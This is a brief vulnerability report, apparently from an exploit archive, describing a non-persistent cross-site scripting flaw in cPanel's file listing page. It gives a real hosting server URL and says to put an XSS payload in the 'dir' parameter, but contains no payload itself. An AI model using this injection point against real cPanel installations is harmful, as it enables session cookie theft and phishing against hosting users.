I have discsovered a non persistent Cross site scripting (XSS) inside  
Cpanel,  
the vulnerability can be easily exploited and can be used to steal cookies,  
perform  
phishing attacks and other various attacks compromising the security of a  
user.

Log into your CPanel accoutn and navigate to the following link:  
  
  
https://gator1347.hostgator.com:2083/frontend/x3/files/dir.html?showhidden=1&dir=  
  
Now insert your xss payload inside Dir parameter.
